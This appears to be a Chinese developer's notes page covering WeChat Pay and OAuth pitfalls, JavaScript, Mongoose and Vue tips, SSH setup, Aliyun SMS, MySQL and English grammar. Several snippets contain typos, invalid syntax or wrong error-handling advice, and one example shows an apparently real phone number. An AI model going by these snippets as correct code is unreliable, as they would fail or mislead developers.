$ service sshd restart

# 实在不行的话可能就是权限的问题了, 试试下面
$ chmod 700 /home/username # 确保用户权限
$ chmod 700 ~/.ssh/ # 确保.ssh文件夹权限
$ chmod 600 ~/.ssh/authorized_keys # 确保~/.ssh/authorized_keys 文件权限

客户端

$ ssh-copy-id username@host # 发送公钥到服务器

参考: ssh 免密码登录(设置后仍需输密码的原因及解决方法) - shi_xin的专栏 - CSDN博客

微信支付: 支付场景非法

检查trade_type是否正确, 如在应该公众号支付的时候trade_type却等于MWEBh5支付

微信支付统一下单订单过期时间没用

先看官方回答

time_expire失效时间是商户订单号的失效时间,可以由商户自己设置。订单失效时间是针对订单号而言的,由于在请求支付的时候有一个必传参数prepay_id只有两小时的有效期,所以在重入时间超过2小时的时候需要重新请求下单接口获取新的prepay_id,商户订单号的失效时间和prepay_id失效时间不同,请注意区别
过期时间是针对prepay_id的, 最大不超过2h, 每次调用统一下单会刷新prepay_id, 所以要缓存统一下单, 失效时间才有效果, 而且还避免了微信报错重复下单(通常在jsapi没支付后又发起别的支付如mweb)

js万能的判断true false

!!JSON.parse(value)

!!JSON.parse(value)
JSON.parse('false') // false
Boolean('false') // true
!!'false' // true

微信公众号支付出现:“当前页面的URL未注册”

本质: 关于支付的配置都被移到了商户平台
解决方法: 登录微信商户平台-产品中心-开发配置,配置支付授权路径。填上前端首页的域名 最后要有/,表示该路径下的页面都可以调起微信的支付接口
参考: https://blog.51cto.com/11692458/2067428

公众号支付签名错误

本质: 公众号支付前端签名错误
任何微信支付里面关于前端jssdk的文档都过时了(WeixinJSBridge早已过时), 要去(公众号的文档)[https://developers.weixin.qq.com/doc/offiaccount/OA_Web_Apps/JS-SDK.html]去查看
参与签名(paySign): appId、timeStamp、nonceStr、package、signType(区分大写)
前端参数: timestamp(注意这里全是小写了!)、nonceStr、package、signType(注意必传)、paySign
一定要详细看文档, 才能避免踩坑

JSSDK报错"errcode":40164,"errmsg":"invalid ip xx.xx.xx.xx, not in whitelist hint: []

问题描述:
微信公众号报错: "errcode":40164,"errmsg":"invalid ip xx.xx.xx.xx, not in whitelist hint: []
问题原因:
微信access_token刷新需要添加服务器白名单
解决方案:
登录微信mp后台 -> 开发 / 基本配置 -> 在右侧将上述报出的IP地址添加到"IP白名单"中即可
参考: https://blog.csdn.net/pansanday/article/details/79422819

慎用括号!!!!

function getFingerprint () {
	return new Promise( (resolve, reject) => {
		if (!Fingerprint2) reject('Fingerprint2: 没有引入js')
		(new Fingerprint2()).get(resolve)
	})
}

function getFingerprint () {
	return new Promise( (resolve, reject) => {
		if (!Fingerprint2) reject('Fingerprint2: 没有引入js')
		const fp = Fingerprint2()
		fp.get(resolve)
	})
}

异步化同步函数, 上面那个是正确的呢? 答案: 第二个
resolve无需return, 没有err也可以异步化(任何函数都能异步化), 在return new Promise之前还是在里面new都可以, 都不是这些的问题, 问题是: 括号跟前面的语句结合了!!!!
这也是为啥很多自运行函数前面加;!
总结: 慎用括号!
解决方案: 不用括号, 宁愿多一个变量, 或者在括号前面加东西

// 试一下最精简版本
function getFingerprint () {
	return new Promise( resolve => (new Fingerprint2()).get(resolve) )
}

浏览器指纹

const script = document.createElement('script')
script.src = '//wx.gtimg.com/wxpay_h5/fingerprint2.min.1.5.1.js'
script.onload = function () {
	const fp = new Fingerprint2()
	fp.get(res => console.log(res))
}
document.body.appendChild(script) // 触发script.onload

参考: 获取浏览器指纹指引

js中find和filter的区别

相同点: 都不改变原数组, 返回未经修改的元素
不同点: find返回元素 filter返回数组

Mongoose save不了object

原因, 没有在schema里面定义
参考: How do you use Mongoose without defining a schema?

为什么vue-devtools chrome插件安装完成了,但是控制台没有显示出来?

安装完成后,必须进入chrome扩展工具选项里,找到vue-devtools把下面的 允许访问文件网址 勾选上
参考: https://segmentfault.com/q/1010000008735643

微信JSAPI支付的坑: 201 商户订单号重复

第一次支付失败、取消支付,再次支付时,前端将商品描述(body)字段的值改变了,造成了该问题。像这种第一次没支付或支付失败,再次支付时,需要保证上面描述,价格等请求信息和第一次请求完全相同才可以,稍微有不同,微信会认为是不同的支付,就会要求不同的商户订单号(outTradeNo)
参考: 微信支付报出 商户订单号重复 错误问题

微信JSAPI支付的坑: time_expire时间过短,刷卡至少1分钟,其他5分钟。微信统一下单

检查时间格式对不对, 检查时区是不是+8moment().utcOffset(8)
参考: php time_expire时间过短,刷卡至少1分钟,其他5分钟。微信统一下单

微信JSAPI支付的坑: PARAM_ERROR: appid和openid不匹配

官方: 请确认appid和mch_id是否匹配
真实原因: openid是本地测试的公众号获取的, 和正式公众号获取的openid不一样, 所以报错

微信JSSDK开发的坑WeixinJSBridge与window.wx

就是微信内网页开发,现在是要引入js(window.wx), 以前不需要引入, 只需要监听jsBridge(WeixinJSBridge)就行了, 当然现在只支持js引入了, 而且可以支持微信外的网页(一部分的功能)
微信的官方文档, 这里这里都更新了, 但是这里却没有更新, 这就是坑爹之处!
参考: https://github.com/Tencent/weui/wiki/%E5%BE%AE%E4%BF%A1JSAPI

关于回调函数: 新版返回的是errMsg, 旧版返回的是err_msg!!!

function onBridgeReady ({ name, options, success }) {
    if (typeof WeixinJSBridge == 'undefined' ) {
        if (document.addEventListener) {
            document.addEventListener('WeixinJSBridgeReady', onBridgeReady, false)
        } else if (document.attachEvent) {
            document.attachEvent('WeixinJSBridgeReady', onBridgeReady)
            document.attachEvent('onWeixinJSBridgeReady', onBridgeReady)
        } else {
            console.log('啥都没有')
        }
    } else {
        WeixinJSBridge.invoke( name, options, success )
    }
}

function chooseImage () {
    onBridgeReady({
        name: 'chooseImage', 
        options: {
            // count: 1,
            sizeType: [ 'compressed' ],
            sourceType: [ 'album', 'camera' ],
        },
        success (res) {
            const { sourceType, localIds, errMsg } = res
            console.log('-chooseImage-', res)
            wx.previewImage({
                currents: localIds[0],
                urls: localIds
            })
        }
    })
}

js异步化同步函数最佳实践

使用bluebird异步化同步函数,promisifyAll为异步化对象里面的所有函数,promisify为异步化单个函数,调用他们会返回同名+Async后缀的异步函数

require('xxx') // { f: [Function] }
promisifyAll(require('xxx')) // { f: [Function], fAsync: [Function] }

建议使用顶层的异步函数包起来,然后不带await的运行(会返回的Promise对象无需处理,带了await反而报错),然后在调用顶层函数的时候try...catch统一处理错误:

const { promisifyAll } = require('bluebird')
const { readFileAsync } = promisifyAll(require('fs'))

async function start () {
	cosnt data = await readFileAsync('./a2.txt')
        // ...
}

try {
	start()
} catch (e) {
	console.err(e)
}

js中substr和slice对区别

  1. 适用范围不同
    substr只可用于字符串, slice还可用于数组
  2. 参数不同
    substr第二个参数表示个数, slice第二个参数表示end下标
    substr(startIndex, count)
    slice(startIndex, endIndex)

js默认参数只有在传undefined的时候生效

function f (a = 'a') {
    return a
}
f() // 'a'
f(undefined) // 'a'
f(null) // null

结论: f1f2好, 因为对null、undefined、未定义对变量解构赋值会报错, 而空字符串不会

function f1 (obj) {
    const { key } = obj || ''
}
function f2 ({ key }) {
}
var { key } = a // Uncaught ReferenceError: a is not defined
var { key } = null // Uncaught TypeError: Cannot destructure property `key` of 'undefined' or 'null'.
var { key } = undefined // Uncaught TypeError: Cannot destructure property `key` of 'undefined' or 'null'.
var { key } = '' // key为undefined
var { key } = 1 // key为undefined

js字符串与数字的四则运算, 都是字符串也同理

减、乘、除都没毛病, 就是加有问题

'12' + 3 // '123'

总结: 只要其中一方是字符串 那就不要加 或者都转为数字再进行 加 str << 0

js去除字符串中所有的空格

trim只能去掉两边的空格

str.replace(/ /g, '')

js模版字符串调用函数可以不加括号

function getPersonInfo(one, two, three) {
    console.log(one)
    console.log(two)
    console.log(three)
}

const person = "Lydia"
const age = 21

getPersonInfo`${person} is ${age} years old`
// [ '', ' is ', ' years old' ]
// Lydia
// 21
getPersonInfo`${person}${age}`
// [ '', '', '' ]
// Lydia
// 21
getPersonInfo`1123 ${age} 123`
// [ '1123 ', ' 123' ]
// 21

这是一种语法,funName模板字符串
调用 funName 函数,参数为:

  1. 模板字符串以插入的变量分割后的数组 (以${把字符串切三刀})
  2. 以先后顺序分别传入的模板内的变量

switch中number != string 类型更加严格

switch (1) { // xxx
    case '1': console.log('haha'); break;
    default: console.log('xxx')
}

switch ('1') { // xxx
    case 1: console.log('haha'); break;
    default: console.log('xxx')
}

xxx << 0可以把几乎任何东西转为数字 转不了的直接为0

解构赋值不支持null和undefined

TypeError: Cannot destructure property `xxx` of 'undefined' or 'null'.

Linux下跟踪看log

tail -f -n 20 logs/jjq-shop/jjq-shop-web.log

SSH 保持连接 (解决ssh自动断开连接Broken pipe)

在使用SSH客户端进行连接管理的时候如果长时间不输入命令, 服务器会自动断开连接
可以对服务器和客户端分别设置自动发送心跳包

客户端

vi ~/.ssh/config # 或/etc/ssh/ssh_config
ServerAliveInterval 120 # 每2分钟向服务器发送一个心跳包

服务端

vi /etc/ssh/sshd_config # 注意是sshd_config
ClientAliveInterval 120
# 重启sshd CentOS
service sshd restart

egg中想要外网完全访问的话需要添加csrf白名单

通常是在router.post的时候, 报错nodejs.ForbiddenError: missing csrf token

//...
    security: {
        csrf: {
            ignore: ['/h5paynotify','/h5pay','/aliwappay','/alipaynotify', '/wxpayRefundNotify']
        },
    },
//...

isNaN(x)请配合Number(x)使用

毕竟isNaN('')为false 但是parseInt('') 为 NaN, 而用Number('')则为0
或者
if ( !amount || isNaN(amount) )

微信支付的坑

  1. 微信H5支付的文档分两个!
    https://pay.weixin.qq.com/wiki/doc/api/H5_sl.php?chapter=1_1 这是境内服务商的
    https://pay.weixin.qq.com/wiki/doc/api/H5.php?chapter=1_1 这是境内普通商户的
    他们之间是有区别的! 比如 境内服务商 就没有退款通知、、、、我们一般用的是境内普通商户的文档
  2. 参数验证非常严格!!! 还有要注意单位!!!!!
  3. 子商户号 sub_mch_id 不是必须的
  4. 退款需要证书,
    https://pay.weixin.qq.com/wiki/doc/api/H5_sl.php?chapter=4_3
    否则会提示RequestError: Error: socket hang up, 密码就是mch_id
  5. RequestError: Error: socket hang up
    本地不能发起支付、退款等功能, 或者退款的时候没有证书
  6. RequestError: Error: too long
    fs.readFileSync 不能加ascii!!!
fs.readFileSync(path.join(this.app.baseDir, '/lib/alipay/private-key.pem'), 'ascii') // 不能加ascii!!!

其实有现成的包: https://github.com/befinal/node-tenpay
碰到问题看看这里的实现代码也行

Array.prototype.filter

返回满足条件(ture)的元素

Array.prototype.map

返回所有元素

Array.prototype.splice(index[, deleteCount[, item1[, item2[, ...]]]])

参数

  1. index开始的下标 必须 -n === length - n
  • n >= length,则从数组末尾开始添加内容;
  • n < 0,这意味着-n是倒数第n个元素;
  • Math.abs(n) >= length,则表示开始位置为第0位。
  1. deleteCount要删除的个数 可选 默认删除后面所有的元素
  2. item要插入的元素 可选

返回

删除的元素组成的数组

for里面的let和const

for (let i = 0; i < orderDetailList.length; i++) { // i不能const
        const { product_id, spec_buy_num } = orderDetailList[i] // 这里可以const
        ...

for (const key in obj) // 能const

Cannot create namespace xxx.xxx in multi-document transaction.

因为mongoose不支持自动Model.createCollection(), 可以先手动
先用listCollections看看创建没创建, 如果没有再createCollection
参考: Automattic/mongoose#6699

js时间比较

一定要用时间戳!!!
一定要用时间戳!!!
一定要用时间戳!!!

const fromTime = new Date(ticketQRcode.fromTime).getTime()
const toTime = new Date(ticketQRcode.toTime).getTime()
const now = Date.now()
if (now < fromTime) ctx.throw(200, '还未到检票时间')
if (now > toTime) ctx.throw(200, '已过检票时间')

js函数默认参数和解构赋值的默认值

除了undefined,其它都会覆盖默认值

var { a = 'a' } = { a: undefined } // a
var { a = 'a' } = { a: null } // null
var { a = 'a' } = { a: '' } // ''

function func(a = 'a') {
	console.log(a)
}
func(undefined) // a
func(null) // null
func('') // ''

其实这也是null和undefined的区别,null是空指针,是一个值,undefined不是一个值,NaN虽然不是一个数,但它是一个值

Node流转字符串(异步)

let image = ''
// 方法一、for await -> node10 es7(es2018)
for await (const chunk of stream) image += chunk
// 方法二、Promise 兼容性更好
return new Promise((resolve, reject) => {
    try {
        stream
        .on( 'data', chunk => (str += chunk) )
        .on( 'end', () => resolve(str) )
        .on( 'error', reject  ) // 或许不要?
    } catch (err) {
        reject(err)
    }
})

ES6解构赋值小技巧(特别适用于导包)

import React, {Component} from 'react'
// 相当于
import React from 'react'
const { Component } = React

// 同样也可用于赋值
const mongoose, { Schema } = app
// 或者
const { Schema } = app.mongoose

nodejs中Mongoose字符串转成ObjectId的方法

const mongoose = require('mongoose')
const _id = mongoose.Types.ObjectId('576cd26698785e4913b5d0e1')

vue :style backgroud-image

:style="`background: url(${ captchaSvg }) no-repeat center;background-size: 100%;width:78px;height:38px;padding:0`"

Mongoose关于populate小技巧

populate是用来做关联表的,只需要_id就可获取document,model要设置:

creator: { type: app.mongoose.Schema.Types.ObjectId, ref: 'User' }

service要设置:

xxx.find(param, sel).populate('site', '_id name').populate('creator', '_id name username').skip(skip).limit(pageSize).sort({ createdAt: 1 })

populate的第一个参数是寸_id的字段名,第二个参数是外表的域,选择的字段之间用空格分隔,字段前加-表示不接受。

Windows下git-for-windows的mintty问题

感觉mintty缺了好多东西,比如运行redis、mongodb、docker命令行客户端的时候,不是显示不全就是运行出错,解决方案:winpty xxxxx,前面加上winpty然后加上要运行的命令,提供了更加齐全的,更加类似Uinx控制台的功能,相当于适配器
看看winpty官方的介绍:

A Windows software package providing an interface similar to a Unix pty-master for communicating with Windows console programs.

总结:当要在windows上运行Linux的命令行界面的程序时,最好在前面加上winpty

jade如何在一行里头写两个并列的标签??

// Jade
div: p: span: label Hello Jade

// HTML
<div>
  <p><span>
      <label>Hello Jade</label></span></p>
</div>

参考:https://segmentfault.com/q/1010000004396908

Linux下批量改名(正则)

rename -v 's/.txt/.log/' *.txt # 改后缀名txt为log

参考:https://blog.csdn.net/fdipzone/article/details/44604591

vue用history做路由,登录后返回还是跳转?

核心问题:js如何获取上一个url?

  1. history.length
    会有其它网站的干扰
  2. dcoument.referrer
    对于前端路由不可用
  3. document.location
    不可用
  4. 存起来
    可行
  5. beforeRouterEnter
    不行,from.path永远是 /

js中的some和every

every

  • return true >>> continue
  • return false >>> break
  • 默认return false

some

  • return true >>> break
  • return false >>> continue
  • 默认return false

npm i error: Maximum call stack size exceeded

rm -f package-lock.json
npm i

package-lock.json pull 冲突

删除lock文件再pull

js统计代码运行时间(运行效率)

console.time(timerName)
// do some thing
console.timeEnd(timerName)
// ${timerName}: 448.375ms

element table的switch的change事件,无法阻止冒泡

原因: @change事件不支持$event(就算传$event也只能是true或false)
解决方案: switch换为button+v-if,使用@click传$event

element table, row-click与row的click冲突

解决方案:阻止row内事件冒泡

@click="handle($event)"
handle (event) { event.cancelBubble = true }

缺陷: router-link to非@click,可能会误触
更新: 使用vue的@click.stop
参考Vue事件处理

数据查重

一般用some
在修改的情况下,可以重复自己,别人不可以重复(只修改某些字段),用自定义的editIndex,
注意不要用scope.$index,因为排序(sort)会打乱顺序,
editIndex还有个好处就是可以实现单选,多选等操作,把编辑,修改,删除等按钮放到表格外面来

Vue路由router

params用name
query用path

router.push({ name, params })
router.push({ path, query })

Javascript检测是否包含元素

对象用in, 数组和字符串用includes, some数组对象都可以用(Object.keys)

some与every的区别

some

  • true等价于break
  • false等价于continue
    every相反

MongoDB的表名会自动加s

代码里面是collection是xxx,MongoDB实际数据库里面的collection就得加s,也就是xxxs

MongoDB异步操作

awaitexec(err, res) => {}不可共存

MongoDB查询时间范围

db.getCollection('orders').find({
  add_time: {
    $gte: ISODate('2019-04-17T01:38:55.443Z'), // new Date(date)
    $lte: ISODate('2019-04-17T01:38:55.443Z') // date = new Date().toString()
  }
})

Vue多个路由共享同一个组件导致无法刷新数据

问题的本质是,无法生成新的实例,导致mounted不会被执行
解决办法: 修改路由,使用extends或解构

import comp from '@/component'
component: {extends: comp}
component: {...comp}

失败的方法: beforeRouteEnter, watch $route
参考: Vue使用动态组件或者router时,当多个视图使用/指向同一个组件时,如何能够生成多个新实例?

Book 1: First Things First

Number

One Two Three Four Five Six Seven Eight Nine Ten

Name

[first name] [middle name] [family name]
名 * 名 * 姓
first name 相当于名(正式名)
middle name 一般缩写或省略(例如将James Robert Smith写成James R. Smith)
family name 家族姓

称呼

  • Mr. /ˈmɪstər/ 先生

Mr. [family name]

  • Mrs. /ˈmɪsɪz/ 夫人(随夫姓)
  • Miss /mɪs/ 小姐
  • Ms. /mɪz/ 女士(不知道结没结婚)

Period of time

  • Monring 早上 (from sunrise to noon)
  • Noon 中午
  • Afternoon 下午
  • Evening 傍晚(下午6-10点)
  • Night 深夜(晚上10-12点)
  1. Good evening 晚上好(打招呼)
  2. Good night 晚安(再见)

主系表结构

系动词:be动词
be动词:am、is、are
人称代词:你我ta

人称代词(单数) I(第一人称) you(第二人称) he,she,it(第三人称)
be动词 am are is

不定冠词:a、an
表语:主语的身份、性质、品性、特征、状态

What make is it? 这是什么牌子的?
It's a Mini. 这是一台mini

表国籍的形容词

  • French
  • German
  • Japanese
  • Korean
  • Chinese
  • America
  • Italian
  • Swedish
  • English

初次见面,很高兴认识你

正式场合:

  • How do you do?
  • How do you do?

非正式场合:

  • Nice to meet you.
  • Nice to meet you, too.

微信网页授权

什么是微信网页

在微信中打开的第三方网页

什么是微信网页授权

公众号可以通过微信网页授权机制,来获取用户基本信息,进而实现业务逻辑
网页授权跟Oauth2.0、JSAPI、JSSDK、公众号是相关的

为什么要用网页授权

  1. 在微信网页上获取用户信息实现微信登陆
  2. 在微信网页上微信支付(OpenID是微信JSAPI支付的必传参数)

网页授权的要求

  • 只有认证过的订阅号/服务号,才能读取关注粉丝的用户资料
  • 只有认证过的服务号,才能通过网页授权读取非关注用户资料

可以看到, 只有认证过的服务号才能够通过网页授权获取用户信息, 甚至这个用户无需关注这个服务号

网页授权在哪里配置

要先去公众号设置回调域名, 注意域名不需要加协议头
公众号 - 开发 - 接口权限 - 网页服务 - 网页账号 - 网页授权获取用户基本信息 - 授权回调域名

网页授权分两种scope

scope就是用途和范围
1、snsapi_base
用户授权页面无需用户确认, 只能获取到OpenID
2、snsapi_userinfo
用户授权页面需要用户确认

网页授权流程

  1. 引导用户进入授权页面
    用户同意授权,获取code
  2. 通过code换取网页授权access_token+OpenID
    此时snsapi_base流程已经结束
  3. 通过access_token+OpenID拿到用户信息
    支持UnionID机制、因为小程序、公众号里面的OpenID其实是各不相同的, appid不同,则获取到的openid就不同

网页授权流程详细版

  1. 用户在微信中打开你的网址 A
  2. 你在服务器里面偷换下给他重定向到网址 B
  3. 用户眼睁睁看着 B 网址展现一个是否同意授权的按钮
  4. 用户闭眼按下去,网址 B 跳到了 网址 C
  5. 你在服务器里面拿到了网址 C 上面的 code
  6. 你在服务器里面拿着 code 和 公众号 id/secret 拼了个网址 D
  7. 你在服务器里面请求网址 D 要回来 access_token 和 openID
  8. 你在服务器里面拿着 OpenID 去请求用户资料

网页授权注意事项

网页授权access_token基础支持access_token不是一个东西

  1. 获取基础支持access_token有次数限制, 所以需要缓存
  2. 获取网页授权access_token没有次数限制, 可以不缓存
    但是如果考虑到多进程, 那可能就需要缓存了

网页授权页面不管用户同不同意都会跳到redirect_uri页面

  1. 同意, code为CODE
  2. 拒绝, code为authdeny

网页授权回调地址redirect_uri

网页授权地址不能加协议号, redirect_uri一定要加协议号否则会报错10003 redirect_uri域名与后台配置不一致

生成授权页面地址

注意微信会对授权链接做正则强匹配校验,如果链接的参数顺序不对,授权页面将无法正常访问

参数说明

参数 是否必须 说明
appid 公众号的唯一标识
redirect_uri 授权后重定向的回调链接地址, 请使用 urlEncode 对链接进行处理
response_type 返回类型,请填写code
scope 应用授权作用域,snsapi_base (不弹出授权页面,直接跳转,只能获取用户openid),snsapi_userinfo (弹出授权页面,可通过openid拿到昵称、性别、所在地。并且, 即使在未关注的情况下,只要用户授权,也能获取其信息 )
state 重定向后会带上state参数,开发者可以填写a-zA-Z0-9的参数值,最多128字节
#wechat_redirect 无论直接打开还是做页面302重定向时候,必须带此参数

格式

https://open.weixin.qq.com/connect/oauth2/authorize?appid=APPID&redirect_uri=REDIRECT_URI&response_type=code&scope=SCOPE&state=STATE#wechat_redirect

示例

对于接口作用域(scope),能调用的接口有以下

授权作用域(scope) 接口 接口说明
snsapi_base /sns/oauth2/access_token 通过code换取access_token、refresh_token和已授权scope
snsapi_base /sns/oauth2/refresh_token 刷新或续期access_token使用
snsapi_base /sns/auth 检查access_token有效性
snsapi_userinfo /sns/userinfo 获取用户个人信息

F.A.Q

什么是授权临时票据(code)?

答:第三方通过code进行获取access_token的时候需要用到,code的超时时间为10分钟,一个code只能成功换取一次access_token即失效。code的临时性和一次保障了微信授权登录的安全性。第三方可通过使用https和state参数,进一步加强自身授权登录的安全性。

什么是授权作用域(scope)?

答:授权作用域(scope)代表用户授权给第三方的接口权限,第三方应用需要向微信开放平台申请使用相应scope的权限后,使用文档所述方式让用户进行授权,经过用户授权,获取到相应access_token后方可对接口进行调用。

注意事项

一定要严格看清楚官方文档!!! 这一点很重要, 比如

  • 微信网页授权用的是公众号appid secret
  • 二维码登陆用的是开放平台appid secret
    开放平台里面, 显示创建的, 说明会创建新的appid和secret, 显示绑定的, 只会绑定已经有的appid和secret

参考

一锅端掉微信公众号-小程序的用户资料获取
三十六章 微信网页授权笔记
微信网页授权
网站应用微信登录开发指南

阿里云短信

什么是短信

短信息服务(英语:Short Message Service,缩写:SMS;有时也称为信息、短信息、文字消息,此服务亦有许多英语的俗称如SMSes、text messages、messages或甚至于texts和txts)是移动电话服务的一种。

为什么是阿里云短信

阿里云短信其实不是一个最好的选择,审核严格,如果发送的内容有敏感词导致审核不通过,是会发送失败的。
如果没有特殊说明,下面说短信就是指阿里云短信

一条短信分为两个部分

一、短信签名

短信签名是短信发送者的署名,表示发送方的身份,可以理解为短信的头,一般公司的名称或者产品名称。

  1. 企事业单位的全称或简称
    需要上传证明文件
  2. 工信部备案网站的全称或简称
  3. APP应用的全称或简称
  4. 公众号或小程序的全称或简称
  • 适用场景
  1. 验证码
  2. 通用
    验证码、短信通知、推广短信、国际/港澳台短信

二、短信模板

短信的主体内容,短信模板包含

  • 模板类型
  1. 验证码 (0.045元/条)
  2. 短信通知 (0.045元/条)
  3. 推广短信 (0.055元/条)
  • 模板名称
  • 模板内容
    • 模板变量

模板的内容是固定的,模板变量是动态的,程序能做的就是指定签名和模板,调用SDK把模板变量传过去。

验证码短信为例,短信的格式为:
【阿里云】您正在申请手机注册,验证码为:${code},5分钟内有效!
用方括号扩起来的是短信签名,之后就是短信模板和模板变量

注意:短信签名和短信模板必须审核,审核通过才能使用。

个人用户签名规范请输入关键词
企业用户签名规范
文本短信模板规范
国际/港澳台短信模板规范

第一步:开通阿里云且实名认证

实名认证又分2种认证模式:

  1. 个人实名认证:表示该账号使用者为用户个人。
  2. 企业实名认证:表示该账号为单位账号,单位可以是企业、政府(含企业、政府、事业单位、团体、组织)。

第二步:开通短信服务

短信服务产品详情页面单击立即购买,开通短信服务。
开通短信服务这一步的目的是为了获取accessKeyaccessKeyIdaccessKeySecret),在用户信息管理里获得。

注意:信息云账号AccessKey是您访问阿里云API的密钥,具有该账户完全的权限,请您务必妥善保管!不要通过任何方式(eg, Github)将AccessKey公开到外部渠道,以避免被他人利用而造成安全威胁。强烈建议您遵循阿里云安全最佳实践,使用RAM子用户AccessKey来进行API调用。

第三步:申请并审核短信签名

短信服务控制台概览界面点击快捷操作入口内的添加签名

第四步:申请并审核短信模板

短信模板分为两种

  1. 国内短信(文本短信模板)
    之前说的短信模板分类就是基于国内短信的分类
  2. 国际/港澳台短信模板(企业用户)

短信服务控制台概览界面点击快捷操作入口内的添加模板

第五步:发送短信

const Core = require('@alicloud/pop-core');

const client = new Core({
  accessKeyId,
  accessKeySecret,
  endpoint: 'https://dysmsapi.aliyuncs.com',
  apiVersion: '2017-05-25'
})

const params = {
  "RegionId": "cn-hangzhou",
  "PhoneNumbers": "17608455209",
  "SignName": "V车展",
  "TemplateCode": "SMS_146809101",
  "TemplateParam": "{code: 666}"
}

const requestOption = {
  method: 'POST'
}

client.request('SendSms', params, requestOption).then((result) => {
  console.log(JSON.stringify(result));
}, (ex) => {
  console.log(ex);
})

参考

短信 - 维基百科,自由的百科全书
短信服务-阿里云

Book2: Practice & Progress

on Sundays或者last/next/this/that Sundays

一般过去时

动作发生在过去,强调已完成

过去进行时

动作发生在过去,强调当时该动作正在进行

现在进行时 The present progressive tense

  1. 现在进行的动作或状态
  2. 马上要做的动作
  3. 最近一段时间的动向
    常用副词: now, just, still

一般现在时 The present simple tense

  1. 习惯性发生的动作
  2. 经常性发生的动作
    常用副词: (频度副词)
  • never 从不
  • sometimes 有时
  • often 经常
  • frequently 经常
  • always 总是
  • rarely 很少

感叹句 Exclamations

What + adj. + n. + [主语 + 谓语]!
如果没有形容词, 则表示批评或不太好
What a thing to say!
What a day!

称呼

nephew 侄子 uncle
niece 侄女 aunt

MySQL学习笔记

MySQL体系结构

  • Connection Pool
  • Management Services & Utilities
  • SQL Interface
  • Parser
  • Optimizer
  • Caches & Buffers
  • Pluggable Storage Engines
    • InnoDB(默认、支持事务)
    • MyISAM(不支持事务)
    • NDB(集群)
    • Memory
    • Infobright
    • NTSE
  • File System

InnoDB特性

  • 支持事务
  • OLTP
  • 行级锁(读不锁)
  • 外健
  • MVCC
  • SQL四种隔离级别(REPEATABLE默认)
  • retx-key lock(避免幻读)
  • insert buffer
  • double write
  • adaptive hash index
  • read ahead(预读)
  • clustered(聚集)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.